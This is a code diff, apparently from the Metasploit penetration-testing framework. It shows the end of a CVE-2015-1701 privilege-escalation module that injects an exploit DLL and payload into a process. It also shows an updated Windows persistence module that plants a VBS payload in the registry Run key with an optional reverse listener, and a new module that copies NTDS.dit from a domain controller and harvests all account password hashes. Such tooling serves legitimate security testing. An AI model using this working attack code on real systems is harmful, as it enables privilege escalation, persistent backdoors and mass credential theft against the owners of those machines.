print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
|
||||||
|
if target.arch.first == ARCH_X86
|
||||||
|
dll_file_name = 'cve-2015-1701.x86.dll'
|
||||||
|
else
|
||||||
|
dll_file_name = 'cve-2015-1701.x64.dll'
|
||||||
|
end
|
||||||
|
|
||||||
|
library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-1701', dll_file_name)
|
||||||
|
library_path = ::File.expand_path(library_path)
|
||||||
|
|
||||||
|
print_status("Injecting exploit into #{process.pid}...")
|
||||||
|
exploit_mem, offset = inject_dll_into_process(process, library_path)
|
||||||
|
|
||||||
|
print_status("Exploit injected. Injecting payload into #{process.pid}...")
|
||||||
|
payload_mem = inject_into_process(process, payload.encoded)
|
||||||
|
|
||||||
|
# invoke the exploit, passing in the address of the payload that
|
||||||
|
# we want invoked on successful exploitation.
|
||||||
|
print_status('Payload injected. Executing exploit...')
|
||||||
|
process.thread.create(exploit_mem + offset, payload_mem)
|
||||||
|
|
||||||
|
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -11,77 +11,143 @@ require 'msf/core/post/windows/priv'
|
||||||
require 'msf/core/post/windows/registry'
|
require 'msf/core/post/windows/registry'
|
||||||
require 'msf/core/exploit/exe'
|
require 'msf/core/exploit/exe'
|
||||||
|
|
||||||
class Metasploit3 < Msf::Exploit::Local
|
class Metasploit4 < Msf::Exploit::Local
|
||||||
|
|
||||||
Rank = ExcellentRanking
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
include Msf::Post::Common
|
include Msf::Post::Common
|
||||||
include Msf::Post::File
|
include Msf::Post::File
|
||||||
include Msf::Post::Windows::Priv
|
include Msf::Post::Windows::Priv
|
||||||
include Msf::Post::Windows::Registry
|
include Msf::Post::Windows::Registry
|
||||||
include Exploit::EXE
|
include Msf::Exploit::EXE
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info = {})
|
||||||
super( update_info( info,
|
super(update_info(info,
|
||||||
'Name' => 'Windows Manage Persistent Payload Installer',
|
'Name' => 'Windows Persistent Registry Startup Payload Installer',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This Module will create a boot persistent reverse Meterpreter session by
|
This module will install a payload that is executed during boot.
|
||||||
installing on the target host the payload as a script that will be executed
|
It will be executed either at user logon or system startup via the registry
|
||||||
at user logon or system startup depending on privilege and selected startup
|
value in "CurrentVersion\Run" (depending on privilege and selected method).
|
||||||
method.
|
|
||||||
},
|
},
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
'Carlos Perez <carlos_perez[at]darkoperator.com>'
|
'Carlos Perez <carlos_perez[at]darkoperator.com>',
|
||||||
|
'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
|
||||||
],
|
],
|
||||||
'Platform' => [ 'win' ],
|
'Platform' => [ 'win' ],
|
||||||
'SessionTypes' => [ 'meterpreter' ],
|
'SessionTypes' => [ 'meterpreter' ],
|
||||||
'Targets' => [ [ 'Windows', {} ] ],
|
'Targets' => [ [ 'Windows', {} ] ],
|
||||||
'DefaultTarget' => 0,
|
'DefaultTarget' => 0,
|
||||||
'DisclosureDate'=> "Oct 19 2011"
|
'DisclosureDate' => "Oct 19 2011",
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'DisablePayloadHandler' => 'true'
|
||||||
|
}
|
||||||
))
|
))
|
||||||
|
|
||||||
register_options(
|
register_options([
|
||||||
[
|
OptInt.new('DELAY',
|
||||||
OptInt.new('DELAY', [true, 'Delay in seconds for persistent payload to reconnect.', 5]),
|
[true, 'Delay (in seconds) for persistent payload to keep reconnecting back.', 10]),
|
||||||
OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]),
|
OptEnum.new('STARTUP',
|
||||||
OptString.new('REXENAME',[false, 'The name to call payload on remote system.', nil]),
|
[true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]),
|
||||||
OptString.new('REG_NAME',[false, 'The name to call registry value for persistence on remote system','']),
|
OptString.new('VBS_NAME',
|
||||||
OptString.new('PATH',[false, 'Path to write payload']),
|
[false, 'The filename to use for the VBS persistent script on the target host (%RAND% by default).', nil]),
|
||||||
|
OptString.new('EXE_NAME',
|
||||||
|
[false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),
|
||||||
|
OptString.new('REG_NAME',
|
||||||
|
[false, 'The name to call registry value for persistence on target host (%RAND% by default).', nil]),
|
||||||
|
OptString.new('PATH',
|
||||||
|
[false, 'Path to write payload (%TEMP% by default).', nil])
|
||||||
|
], self.class)
|
||||||
|
|
||||||
|
register_advanced_options([
|
||||||
|
OptBool.new('HANDLER',
|
||||||
|
[false, 'Start an exploit/multi/handler job to receive the connection', false]),
|
||||||
|
OptBool.new('EXEC_AFTER',
|
||||||
|
[false, 'Execute persistent script after installing.', false])
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
# Exploit Method for when exploit command is issued
|
# Exploit method for when exploit command is issued
|
||||||
def exploit
|
def exploit
|
||||||
print_status("Running module against #{sysinfo['Computer']}")
|
# Define default values
|
||||||
|
rvbs_name = datastore['VBS_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6))
|
||||||
rexename = datastore['REXENAME']
|
rexe_name = datastore['EXE_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6))
|
||||||
|
reg_val = datastore['REG_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6))
|
||||||
|
startup = datastore['STARTUP'].downcase
|
||||||
delay = datastore['DELAY']
|
delay = datastore['DELAY']
|
||||||
reg_val = datastore['REG_NAME']
|
exec_after = datastore['EXEC_AFTER']
|
||||||
|
handler = datastore['HANDLER']
|
||||||
@clean_up_rc = ""
|
@clean_up_rc = ""
|
||||||
host,port = session.session_host, session.session_port
|
|
||||||
|
|
||||||
exe = generate_payload_exe
|
rvbs_name = rvbs_name + '.vbs' if rvbs_name[-4,4] != '.vbs'
|
||||||
script = ::Msf::Util::EXE.to_exe_vbs(exe, {:persist => true, :delay => delay})
|
rexe_name = rexe_name + '.exe' if rexe_name[-4,4] != '.exe'
|
||||||
script_on_target = write_script_to_target(script, rexename)
|
|
||||||
|
|
||||||
# exit the module because we failed to write the file on the target host.
|
# Connect to the session
|
||||||
return unless script_on_target
|
begin
|
||||||
|
host = session.session_host
|
||||||
# Initial execution of script
|
print_status("Running persistent module against #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
|
||||||
|
rescue => e
|
||||||
case datastore['STARTUP']
|
print_error("Could not connect to session: #{e}")
|
||||||
when 'USER'
|
return nil
|
||||||
# if we could not write the entry in the registy we exit the module.
|
|
||||||
return unless write_to_reg("HKCU", script_on_target, reg_val)
|
|
||||||
when 'SYSTEM'
|
|
||||||
# if we could not write the entry in the registy we exit the module.
|
|
||||||
return unless write_to_reg("HKLM", script_on_target, reg_val)
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Check values
|
||||||
|
if is_system? && startup == 'user'
|
||||||
|
print_warning('Note: Current user is SYSTEM & STARTUP == USER. This user may not login often!')
|
||||||
|
end
|
||||||
|
|
||||||
|
if handler && !datastore['DisablePayloadHandler']
|
||||||
|
# DisablePayloadHandler will stop listening after the script finishes - we want a job so it continues afterwards!
|
||||||
|
print_warning("Note: HANDLER == TRUE && DisablePayloadHandler == TRUE. This will create issues...")
|
||||||
|
print_warning("Disabling HANDLER...")
|
||||||
|
handler = false
|
||||||
|
end
|
||||||
|
|
||||||
|
# Generate the exe payload
|
||||||
|
vprint_status("Generating EXE payload (#{rexe_name})")
|
||||||
|
exe = generate_payload_exe
|
||||||
|
# Generate the vbs payload
|
||||||
|
vprint_status("Generating VBS persistent script (#{rvbs_name})")
|
||||||
|
vbsscript = ::Msf::Util::EXE.to_exe_vbs(exe, {:persist => true, :delay => delay, :exe_filename => rexe_name})
|
||||||
|
# Writing the payload to target
|
||||||
|
vprint_status("Writing payload inside the VBS script on the target")
|
||||||
|
script_on_target = write_script_to_target(vbsscript, rvbs_name)
|
||||||
|
# Exit the module because we failed to write the file on the target host
|
||||||
|
# Feedback has already been given to the user, via the function.
|
||||||
|
return unless script_on_target
|
||||||
|
|
||||||
|
# Initial execution of persistent script
|
||||||
|
case startup
|
||||||
|
when 'user'
|
||||||
|
# If we could not write the entry in the registy we exit the module.
|
||||||
|
return unless write_to_reg("HKCU", script_on_target, reg_val)
|
||||||
|
vprint_status("Payload will execute when USER (#{session.sys.config.getuid}) next logs on")
|
||||||
|
when 'system'
|
||||||
|
# If we could not write the entry in the registy we exit the module.
|
||||||
|
return unless write_to_reg("HKLM", script_on_target, reg_val)
|
||||||
|
vprint_status("Payload will execute at the next SYSTEM startup")
|
||||||
|
else
|
||||||
|
print_error("Something went wrong. Invalid STARTUP method: #{startup}")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
# Do we setup a exploit/multi/handler job?
|
||||||
|
if handler
|
||||||
|
listener_job_id = create_multihandler(datastore['LHOST'], datastore['LPORT'], datastore['PAYLOAD'])
|
||||||
|
if listener_job_id.blank?
|
||||||
|
print_error("Failed to start exploit/multi/handler on #{datastore['LPORT']}, it may be in use by another process.")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Do we execute the VBS script afterwards?
|
||||||
|
target_exec(script_on_target) if exec_after
|
||||||
|
|
||||||
|
# Create 'clean up' resource file
|
||||||
clean_rc = log_file()
|
clean_rc = log_file()
|
||||||
file_local_write(clean_rc, @clean_up_rc)
|
file_local_write(clean_rc, @clean_up_rc)
|
||||||
print_status("Cleanup Meterpreter RC File: #{clean_rc}")
|
print_status("Clean up Meterpreter RC file: #{clean_rc}")
|
||||||
|
|
||||||
report_note(:host => host,
|
report_note(:host => host,
|
||||||
:type => "host.persistance.cleanup",
|
:type => "host.persistance.cleanup",
|
||||||
|
@ -98,9 +164,145 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
)
|
)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Writes script to target host and returns the pathname of the target file or nil if the
|
||||||
|
# file could not be written.
|
||||||
|
def write_script_to_target(vbs, name)
|
||||||
|
filename = name || Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs"
|
||||||
|
temppath = datastore['PATH'] || session.sys.config.getenv('TEMP')
|
||||||
|
filepath = temppath + "\\" + filename
|
||||||
|
|
||||||
|
unless directory?(temppath)
|
||||||
|
print_error("#{temppath} does not exists on the target")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
if file?(filepath)
|
||||||
|
print_warning("#{filepath} already exists on the target. Deleting...")
|
||||||
|
begin
|
||||||
|
file_rm(filepath)
|
||||||
|
print_good("Deleted #{filepath}")
|
||||||
|
rescue
|
||||||
|
print_error("Unable to delete file!")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
begin
|
||||||
|
write_file(filepath, vbs)
|
||||||
|
print_good("Persistent VBS script written on #{sysinfo['Computer']} to #{filepath}")
|
||||||
|
|
||||||
|
# Escape windows pathname separators.
|
||||||
|
@clean_up_rc << "rm #{filepath.gsub(/\\/, '//')}\n"
|
||||||
|
rescue
|
||||||
|
print_error("Could not write the payload on the target")
|
||||||
|
# Return nil since we could not write the file on the target
|
||||||
|
filepath = nil
|
||||||
|
end
|
||||||
|
|
||||||
|
filepath
|
||||||
|
end
|
||||||
|
|
||||||
|
# Installs payload in to the registry HKLM or HKCU
|
||||||
|
def write_to_reg(key, script_on_target, registry_value)
|
||||||
|
regsuccess = true
|
||||||
|
nam = registry_value || Rex::Text.rand_text_alpha(rand(8)+8)
|
||||||
|
key_path = "#{key.to_s}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
|
||||||
|
|
||||||
|
print_status("Installing as #{key_path}\\#{nam}")
|
||||||
|
|
||||||
|
if key && registry_setvaldata(key_path, nam, script_on_target, "REG_SZ")
|
||||||
|
print_good("Installed autorun on #{sysinfo['Computer']} as #{key_path}\\#{nam}")
|
||||||
|
else
|
||||||
|
print_error("Failed to make entry in the registry for persistence")
|
||||||
|
regsuccess = false
|
||||||
|
end
|
||||||
|
|
||||||
|
regsuccess
|
||||||
|
end
|
||||||
|
|
||||||
|
# Executes script on target and returns true if it was successfully started
|
||||||
|
def target_exec(script_on_target)
|
||||||
|
execsuccess = true
|
||||||
|
print_status("Executing script #{script_on_target}")
|
||||||
|
# Lets give the target a few seconds to catch up...
|
||||||
|
Rex.sleep(3)
|
||||||
|
|
||||||
|
# Error handling for process.execute() can throw a RequestError in send_request.
|
||||||
|
begin
|
||||||
|
unless datastore['EXE::Custom']
|
||||||
|
cmd_exec("wscript \"#{script_on_target}\"")
|
||||||
|
else
|
||||||
|
cmd_exec("cscript \"#{script_on_target}\"")
|
||||||
|
end
|
||||||
|
rescue
|
||||||
|
print_error("Failed to execute payload on target")
|
||||||
|
execsuccess = false
|
||||||
|
end
|
||||||
|
|
||||||
|
execsuccess
|
||||||
|
end
|
||||||
|
|
||||||
|
# Starts a exploit/multi/handler session
|
||||||
|
def create_multihandler(lhost, lport, payload_name)
|
||||||
|
pay = client.framework.payloads.create(payload_name)
|
||||||
|
pay.datastore['LHOST'] = lhost
|
||||||
|
pay.datastore['LPORT'] = lport
|
||||||
|
print_status('Starting exploit/multi/handler')
|
||||||
|
|
||||||
|
unless check_for_listener(lhost, lport)
|
||||||
|
# Set options for module
|
||||||
|
mh = client.framework.exploits.create('multi/handler')
|
||||||
|
mh.share_datastore(pay.datastore)
|
||||||
|
mh.datastore['WORKSPACE'] = client.workspace
|
||||||
|
mh.datastore['PAYLOAD'] = payload_name
|
||||||
|
mh.datastore['EXITFUNC'] = 'thread'
|
||||||
|
mh.datastore['ExitOnSession'] = true
|
||||||
|
# Validate module options
|
||||||
|
mh.options.validate(mh.datastore)
|
||||||
|
# Execute showing output
|
||||||
|
mh.exploit_simple(
|
||||||
|
'Payload' => mh.datastore['PAYLOAD'],
|
||||||
|
'LocalInput' => self.user_input,
|
||||||
|
'LocalOutput' => self.user_output,
|
||||||
|
'RunAsJob' => true
|
||||||
|
)
|
||||||
|
|
||||||
|
# Check to make sure that the handler is actually valid
|
||||||
|
# If another process has the port open, then the handler will fail
|
||||||
|
# but it takes a few seconds to do so. The module needs to give
|
||||||
|
# the handler time to fail or the resulting connections from the
|
||||||
|
# target could end up on on a different handler with the wrong payload
|
||||||
|
# or dropped entirely.
|
||||||
|
Rex.sleep(5)
|
||||||
|
return nil if framework.jobs[mh.job_id.to_s].nil?
|
||||||
|
|
||||||
|
return mh.job_id.to_s
|
||||||
|
else
|
||||||
|
print_error('A job is listening on the same local port')
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Method for checking if a listener for a given IP and port is present
|
||||||
|
# will return true if a conflict exists and false if none is found
|
||||||
|
def check_for_listener(lhost, lport)
|
||||||
|
client.framework.jobs.each do |k, j|
|
||||||
|
if j.name =~ / multi\/handler/
|
||||||
|
current_id = j.jid
|
||||||
|
current_lhost = j.ctx[0].datastore['LHOST']
|
||||||
|
current_lport = j.ctx[0].datastore['LPORT']
|
||||||
|
if lhost == current_lhost && lport == current_lport.to_i
|
||||||
|
print_error("Job #{current_id} is listening on IP #{current_lhost} and port #{current_lport}")
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
false
|
||||||
|
end
|
||||||
|
|
||||||
# Function for creating log folder and returning log path
|
# Function for creating log folder and returning log path
|
||||||
def log_file(log_path = nil)
|
def log_file(log_path = nil)
|
||||||
#Get hostname
|
# Get hostname
|
||||||
host = session.sys.config.sysinfo["Computer"]
|
host = session.sys.config.sysinfo["Computer"]
|
||||||
|
|
||||||
# Create Filename info to be appended to downloaded files
|
# Create Filename info to be appended to downloaded files
|
||||||
|
@ -109,57 +311,18 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
# Create a directory for the logs
|
# Create a directory for the logs
|
||||||
if log_path
|
if log_path
|
||||||
logs = ::File.join(log_path, 'logs', 'persistence',
|
logs = ::File.join(log_path, 'logs', 'persistence',
|
||||||
Rex::FileUtils.clean_path(host + filenameinfo) )
|
Rex::FileUtils.clean_path(host + filenameinfo))
|
||||||
else
|
else
|
||||||
logs = ::File.join(Msf::Config.log_directory, 'persistence',
|
logs = ::File.join(Msf::Config.log_directory, 'persistence',
|
||||||
Rex::FileUtils.clean_path(host + filenameinfo) )
|
Rex::FileUtils.clean_path(host + filenameinfo))
|
||||||
end
|
end
|
||||||
|
|
||||||
# Create the log directory
|
# Create the log directory
|
||||||
::FileUtils.mkdir_p(logs)
|
::FileUtils.mkdir_p(logs)
|
||||||
|
|
||||||
#logfile name
|
# logfile name
|
||||||
logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc"
|
logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc"
|
||||||
return logfile
|
logfile
|
||||||
end
|
|
||||||
|
|
||||||
# Writes script to target host and returns the pathname of the target file or nil if the
|
|
||||||
# file could not be written.
|
|
||||||
def write_script_to_target(vbs, name)
|
|
||||||
tempdir = datastore['PATH'] || session.sys.config.getenv('TEMP')
|
|
||||||
unless name
|
|
||||||
tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs"
|
|
||||||
else
|
|
||||||
tempvbs = tempdir + "\\" + name + ".vbs"
|
|
||||||
end
|
|
||||||
begin
|
|
||||||
write_file(tempvbs, vbs)
|
|
||||||
print_good("Persistent Script written to #{tempvbs}")
|
|
||||||
# Escape windows pathname separators.
|
|
||||||
@clean_up_rc << "rm #{tempvbs.gsub(/\\/, '//')}\n"
|
|
||||||
rescue
|
|
||||||
print_error("Could not write the payload on the target hosts.")
|
|
||||||
# return nil since we could not write the file on the target host.
|
|
||||||
tempvbs = nil
|
|
||||||
end
|
|
||||||
return tempvbs
|
|
||||||
end
|
|
||||||
|
|
||||||
# Installs payload in to the registry HKLM or HKCU
|
|
||||||
def write_to_reg(key, script_on_target, registry_value)
|
|
||||||
nam = registry_value || Rex::Text.rand_text_alpha(rand(8)+8)
|
|
||||||
key_path = "#{key.to_s}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
|
|
||||||
|
|
||||||
print_status("Installing into autorun as #{key_path}\\#{nam}")
|
|
||||||
|
|
||||||
if key && registry_setvaldata(key_path, nam, script_on_target, "REG_SZ")
|
|
||||||
print_good("Installed into autorun as #{key_path}\\#{nam}")
|
|
||||||
return true
|
|
||||||
else
|
|
||||||
print_error("Failed to make entry in the registry for persistence.")
|
|
||||||
end
|
|
||||||
|
|
||||||
false
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
|
||||||
|
|
||||||
module Metasploit4
|
module Metasploit4
|
||||||
|
|
||||||
CachedSize = 1102898
|
CachedSize = 1104434
|
||||||
|
|
||||||
include Msf::Payload::TransportConfig
|
include Msf::Payload::TransportConfig
|
||||||
include Msf::Payload::Windows
|
include Msf::Payload::Windows
|
||||||
|
|
|
@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
|
||||||
|
|
||||||
module Metasploit4
|
module Metasploit4
|
||||||
|
|
||||||
CachedSize = 1103942
|
CachedSize = 1105478
|
||||||
|
|
||||||
include Msf::Payload::TransportConfig
|
include Msf::Payload::TransportConfig
|
||||||
include Msf::Payload::Windows
|
include Msf::Payload::Windows
|
||||||
|
|
|
@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
|
||||||
|
|
||||||
module Metasploit4
|
module Metasploit4
|
||||||
|
|
||||||
CachedSize = 1103942
|
CachedSize = 1105478
|
||||||
|
|
||||||
include Msf::Payload::TransportConfig
|
include Msf::Payload::TransportConfig
|
||||||
include Msf::Payload::Windows
|
include Msf::Payload::Windows
|
||||||
|
|
|
@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
|
||||||
|
|
||||||
module Metasploit4
|
module Metasploit4
|
||||||
|
|
||||||
CachedSize = 1102898
|
CachedSize = 1104434
|
||||||
|
|
||||||
include Msf::Payload::TransportConfig
|
include Msf::Payload::TransportConfig
|
||||||
include Msf::Payload::Windows
|
include Msf::Payload::Windows
|
||||||
|
|
|
@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
|
||||||
|
|
||||||
module Metasploit4
|
module Metasploit4
|
||||||
|
|
||||||
CachedSize = 1102898
|
CachedSize = 1104434
|
||||||
|
|
||||||
include Msf::Payload::TransportConfig
|
include Msf::Payload::TransportConfig
|
||||||
include Msf::Payload::Windows
|
include Msf::Payload::Windows
|
||||||
|
|
|
@ -0,0 +1,156 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'rex'
|
||||||
|
require 'msf/core/auxiliary/report'
|
||||||
|
require 'metasploit/framework/ntds/parser'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Post
|
||||||
|
include Msf::Post::Windows::Registry
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
include Msf::Post::Windows::Priv
|
||||||
|
include Msf::Post::Windows::ShadowCopy
|
||||||
|
include Msf::Post::File
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Windows Domain Controller Hashdump',
|
||||||
|
'Description' => %q{
|
||||||
|
This module attempts to copy the NTDS.dit database from a live Domain Controller
|
||||||
|
and then parse out all of the User Accounts. It saves all of the captured password
|
||||||
|
hashes, including historical ones.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => ['theLightCosine'],
|
||||||
|
'Platform' => [ 'win' ],
|
||||||
|
'SessionTypes' => [ 'meterpreter' ]
|
||||||
|
))
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
if preconditions_met?
|
||||||
|
ntds_file = copy_database_file
|
||||||
|
unless ntds_file.nil?
|
||||||
|
print_status "Repairing NTDS database after copy..."
|
||||||
|
print_status repair_ntds(ntds_file)
|
||||||
|
realm = domain_name
|
||||||
|
ntds_parser = Metasploit::Framework::NTDS::Parser.new(client, ntds_file)
|
||||||
|
ntds_parser.each_account do |ad_account|
|
||||||
|
print_good ad_account.to_s
|
||||||
|
report_hash(ad_account.ntlm_hash.downcase, ad_account.name, realm)
|
||||||
|
ad_account.nt_history.each_with_index do |nt_hash, index|
|
||||||
|
hash_string = ad_account.lm_history[index] || Metasploit::Credential::NTLMHash::BLANK_LM_HASH
|
||||||
|
hash_string << ":#{nt_hash}"
|
||||||
|
report_hash(hash_string.downcase,ad_account.name, realm)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
rm_f(ntds_file)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def copy_database_file
|
||||||
|
database_file_path = nil
|
||||||
|
if start_vss
|
||||||
|
case sysinfo["OS"]
|
||||||
|
when /2003| \.NET/
|
||||||
|
database_file_path = vss_method
|
||||||
|
when /2008|2012/
|
||||||
|
database_file_path = ntdsutil_method
|
||||||
|
else
|
||||||
|
print_error "This version of Windows is unsupported"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
database_file_path
|
||||||
|
end
|
||||||
|
|
||||||
|
def domain_name
|
||||||
|
result = cmd_exec('cmd.exe', '/c systeminfo | findstr /B /C:"Domain"')
|
||||||
|
result.gsub!(/Domain:\s+/,'')
|
||||||
|
end
|
||||||
|
|
||||||
|
def is_domain_controller?
|
||||||
|
file_exist?('%SystemDrive%\Windows\ntds\ntds.dit')
|
||||||
|
end
|
||||||
|
|
||||||
|
def ntdsutil_method
|
||||||
|
tmp_path = "#{get_env("%WINDIR%")}\\Temp\\#{Rex::Text.rand_text_alpha((rand(8)+6))}"
|
||||||
|
command_arguments = "\"activate instance ntds\" \"ifm\" \"Create Full #{tmp_path}\" quit quit"
|
||||||
|
result = cmd_exec("ntdsutil.exe", command_arguments,90)
|
||||||
|
if result.include? "IFM media created successfully"
|
||||||
|
file_path = "#{tmp_path}\\Active Directory\\ntds.dit"
|
||||||
|
print_status "NTDS database copied to #{file_path}"
|
||||||
|
else
|
||||||
|
print_error "There was an error copying the ntds.dit file!"
|
||||||
|
vprint_error result
|
||||||
|
file_path = nil
|
||||||
|
end
|
||||||
|
file_path
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def preconditions_met?
|
||||||
|
status = true
|
||||||
|
unless is_domain_controller?
|
||||||
|
print_error "This does not appear to be an AD Domain Controller"
|
||||||
|
status = false
|
||||||
|
end
|
||||||
|
unless is_admin?
|
||||||
|
print_error "This module requires Admin privs to run"
|
||||||
|
status = false
|
||||||
|
end
|
||||||
|
if is_uac_enabled?
|
||||||
|
print_error "This module requires UAC to be bypassed first"
|
||||||
|
status = false
|
||||||
|
end
|
||||||
|
unless session_compat?
|
||||||
|
status = false
|
||||||
|
end
|
||||||
|
return status
|
||||||
|
end
|
||||||
|
|
||||||
|
def repair_ntds(path='')
|
||||||
|
arguments = "/p /o \"#{path}\""
|
||||||
|
cmd_exec("esentutl", arguments)
|
||||||
|
end
|
||||||
|
|
||||||
|
def report_hash(ntlm_hash, username, realm)
|
||||||
|
cred_details = {
|
||||||
|
origin_type: :session,
|
||||||
|
session_id: session_db_id,
|
||||||
|
post_reference_name: self.refname,
|
||||||
|
private_type: :ntlm_hash,
|
||||||
|
private_data: ntlm_hash,
|
||||||
|
username: username,
|
||||||
|
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
|
||||||
|
realm_value: realm,
|
||||||
|
workspace_id: myworkspace_id
|
||||||
|
}
|
||||||
|
create_credential(cred_details)
|
||||||
|
end
|
||||||
|
|
||||||
|
def session_compat?
|
||||||
|
if sysinfo['Architecture'] =~ /x64/ && session.platform =~ /x86/
|
||||||
|
print_error "You are running 32-bit Meterpreter on a 64 bit system"
|
||||||
|
print_error "Try migrating to a 64-bit process and try again"
|
||||||
|
false
|
||||||
|
else
|
||||||
|
true
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def vss_method
|
||||||
|
id = create_shadowcopy("#{get_env("%SystemDrive%")}\\")
|
||||||
|
print_status "Getting Details of ShadowCopy #{id}"
|
||||||
|
sc_details = get_sc_details(id)
|
||||||
|
sc_path = "#{sc_details['DeviceObject']}\\windows\\ntds\\ntds.dit"
|
||||||
|
target_path = "#{get_env("%WINDIR%")}\\Temp\\#{Rex::Text.rand_text_alpha((rand(8)+6))}"
|
||||||
|
print_status "Moving ntds.dit to #{target_path}"
|
||||||
|
move_file(sc_path, target_path)
|
||||||
|
target_path
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
Loading…
Reference in New Issue